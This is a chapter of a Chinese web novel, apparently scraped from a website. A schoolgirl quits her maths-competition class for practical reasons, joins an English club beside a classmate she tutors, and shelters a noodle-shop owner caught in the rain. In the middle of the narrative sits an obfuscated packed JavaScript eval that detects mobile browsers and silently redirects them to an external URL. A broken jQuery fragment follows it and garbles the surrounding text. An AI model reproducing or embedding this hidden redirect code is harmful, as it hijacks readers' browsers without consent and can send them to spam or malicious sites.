运动会的最后一天下午是数学竞赛了。
考试结束铃刚响过,走廊里人声鼎沸。有人在对答案,有人在哀嚎最后一道大题的积分算错了。石安慢吞吞地整理着桌面。
林以轩从后排过来找到她,“你倒数第二道证明题用的什么方法?我用了构造辅助函数总觉得步骤有点绕……”
“用的罗尔定理。”
“我也是!”林以轩难得情绪有了起伏,“那最后一步你…”
“我们先走吧。”石安打断他。
他没察觉出什么不对,跟着她往外走,“这次你能进前五吧。”
石安答非所问:“你是什么时候开始搞数竞的?”
“小学三年级。”
石安点点头,“那你会走竞赛报送吧?”
林以轩站定看她,“你不走保送?”
“我打算退出竞赛班。”
林以轩愣住了,瞪大了眼,“你认真的?你考的又不差。”
“我起步太晚了。我是高一才开始学的,我跟你们差了多少年?这个差距不是靠聪明就能填上的,我不想把时间花在追不上的东西上。”
“这恰恰说明你很有天赋。”林以轩愤愤不平。
石安还是不急不躁,“竞赛占了多少时间你也知道。晚自习、周末、假期,全部填进去。这些时间如果拿来补语文和英语,我拿到省第一的概率都比拿竞赛奖牌的概率大得多。”
林以轩张了张嘴,犹豫着开口:“你别给自己太大压力了……我学竞赛,原本也是兴趣爱好。也没想过进国家队拿奖牌。”
石安踢了脚路边的石子,“我跟你不一样,我对数竞就没有兴趣。我没有那么多的热爱,我看重的是结果。既然我在这个领域达不到最高点,还要投入大把的时间和金钱……”
林以轩打断她,“你真的一点都不喜欢?那当初为什么要决定参加?”
为什么?还不是因为自己那点虚荣的攀比心么。
石安抬头直视他,话中尽显狠心,“对,一点都不喜欢。所以现在及时止损吧!”
功利、任性、虚荣、精打细算、这就是我。随便你们怎么想了,她破罐破摔地对刘硕说了自己要退出竞赛班的决定。
刘硕大概知道她家情况,单亲家庭,只有母亲有工作收入,在学校附近租的老破小学区房。她也不偏科,参加高考对她来说无疑更有利,不需要再多花钱买教辅、参加训练营、去外地比赛。
他心里很不是滋味,但挽留的话始终说不出口。
“好,你不会后悔就好。”刘硕同意了。他看着石安决绝的背影,甚至有些凄凉,着实无力。
*
石安退出周五的竞赛班后,就决定给自己申请报名英语兴趣班了。她小学没有学过英语,是在六年级学校才开了英语课。而她当时还不认真听。
她比这里大多数人都晚了太多步,在英语兴趣班或许还能看些英文电影练习语感。
何煦不可思议地看着她填完了申请表,“你来真的啊?”
石安最近真的太奇怪了,对自己态度180度大转弯,不但不嫌他烦,还说要一直扶他到腿伤好为止。何煦原来以为她就是在医务室看他可怜心软了一次,没想到这人干劲还真这么足,没事就给他讲题,他做错题了她还要生气。
现在竟然还要为了他转到无聊的英语兴趣班吗?他若有所思地看着她……这个学霸不会是迷途知返了,开始对我有意思了?
石安瞥过来一眼,“怎么了,我不能上这个课?”他转过头去不说话。
周五,石安如愿以偿地进了9班教室上英语社团课。
何煦无语,原来这人是真的在认真看电视。今天老师放的片子是唐顿庄园第三季,何煦早就看过了,他百无聊赖地趴在桌子上,没事儿就打扰一下坐在他旁边双眼放光认真看荧幕的石安,对她眨眨眼睛,跟她说悄悄话。
“你别来烦我,你无聊就做数学题。”她瞪他,“数学只有90分的人。”
“你在办公室偷听我说话啊!”何煦有些羞恼。
石安撇开眼,“只有90分你就别刷卷子了,把数学书上的公式定理啊当成阅读理解先分析透,然后自己做一遍推导过程。再把书上的课后习题都做完。”
“知道了——”何煦点头如捣蒜,把数学书抽了出来,“我告诉你啊,最后那个主角她——”
石安又瞪过去。
何煦心满意足地收获她的冷眼,低头看书。
放学铃早打过了,9班老师还是给大家把电视放完才下课。何煦笑嘻嘻凑过来,“石安,你喜欢看电影吗?”
石安看着他,没肯定也没否认。
“这周末我们一起去看电影吧…最近新上了一部……”
“不要。”她毫不犹豫地说。
“为什么啊?”何煦皱眉看她。
平常石安给他讲题,上晚自习拖到10点她可以心安理得地吃他请的晚饭,坐他家车回家。看电影的话电影票要多少钱?她还要付出多少的精力和时间来回报?
所以她想也没想就拒绝了。
“我以为我们是好朋友了。”何煦又委屈巴巴起来。
石安无奈地说,“我没有时间看电影,也不喜欢出门。”
何煦张张嘴还想再争取一下。
忽然一阵雷声,要下雨了。
石安低头看了眼手表,才6点多,天空已经乌压压一片黑。
“下雨了,我得回家了。”她丢下这句话就匆匆离开。她得赶紧回家把在窗台晾的衣服收进来。
*
石安撑好伞走入雨中。雨势已经又猛又急,打在屋檐上噼里啪啦的,她校服校裤总是买大一号的,此时脚下一滩滩水直溅到裤脚上。风也愈来愈大了,简直像野兽的咆哮声嗷嗷作响。石安捏紧了伞柄,脚下步伐渐快。
走到巷子里,看见前面有一对男女。男人撑着一把小伞风尘仆仆走在前面,女人手提一个黑色公文包,步伐沉重地紧跟着。
她上身黏着件绿色衬衫,挂着黄色披肩,全身湿透了,刚从水里爬出来似的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582243|204661||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
石安大踏步走过去,把伞往女人的头顶一偏。女人缓缓转过脸来,把湿哒哒贴在眼皮上的头发拨开,石安心下一沉。是刘家面馆的老板。
“谢谢你。”她咧嘴笑起来,还是那一口黄牙,比她洗得发白的披肩黄得多了。
石安摇摇头,沉默地和她走着。
只五分钟就走到面馆了,男人在门口蹭了蹭鞋,直接走上楼去。女人把公文包放下,拿毛巾擦了擦身子和头发,对石安说,“吃晚饭了吗?”
石安确实有点饿了,她摇摇头。
“老样子?番茄鸡蛋面?”女人说着就要往后厨里走。
“不不不,你先去洗澡吧,别着凉了。”石安连连摆手。
“没事儿,我女儿也会做。”她笑笑,对着楼上喊一句,“谢婷,楼下有客人,你下来帮我做碗面。”
石安怔住了,她坐在窗边的位置,见楼上飘下来一个女生进后厨忙活去了,她始终低着头的,也没看石安一眼。
女人提着公文包上楼,不一会儿楼上传来叮叮咣咣的砸东西声响,还有男人女人的争吵。直接盖过了厨房里的掂勺声。
外面还是“啪啪”地落着雨,整个店里都潮,阴冷得人发寒。墙壁上挂的老式电视机屏幕不知怎么的闪了一下,石安“嗡”的一声惊醒过来,往桌上拍了几张花花绿绿的纸票,仓皇逃走了。
她潜意识觉得谢婷现在应该不想见到自己。
回到家后她把湿透的衣服收了进来,然后去冲澡。胃里空落落的,走进厨房到处看看,只在案板上发现半个早上剩的苹果,早就氧化了。她赶紧把它丢进垃圾桶里。
天空团团的乌云终于把月亮吐出来了,俯瞰着大地,冷冷照着她,那个总是驼着背低着头的女孩。
石嫣这周果然早早回家了,石墨临周末都不在家,拿着他亲妈给的钱在外面补课。石嫣索性都告诉石安,原来她们租的这学区房也有一半他亲妈资助的费用。
石嫣涨工资了,整个人笑盈盈的状态好了不少。周末拉着石安要带她出去玩,给她买衣服。
“妈,我们马上要期中考了。”石安说。
“你每天闷在房间里学习,你看看你这皮肤,白的吓人了,就该多出来晒晒太阳,照照紫外线。”
石安还是被她拉出门了。她也好久没看到石嫣这么有活力,她旁敲侧击地问石安想要买什么,石安哭笑不得,她还能不记得马上就是自己生日了吗。
石安和石墨临生日都是十月七日,国庆结束那天,开学后就是期中考了。考完再过两天,就是徐鹤年的忌日。这导致她这两年一直有点儿害怕过生日。
然而妈妈好像忘了,她们在商场买了两件衣服然后去公园溜达了一下午,晚上在外面吃过饭后才回家。
回到家后看见石墨临的房门紧闭,应该早就回来了。石安过去把自己买的一个剃须刀和一条围巾放在他房门口,当是生日礼物了。原来她觉得新奇,自己和哥哥竟是同一天的生日,现在想来肯定不是,只不过是爸妈图方便给一起过了。